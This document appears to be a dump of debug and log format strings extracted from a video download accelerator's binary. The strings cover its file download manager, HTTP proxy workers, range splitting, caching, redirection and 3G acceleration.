[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

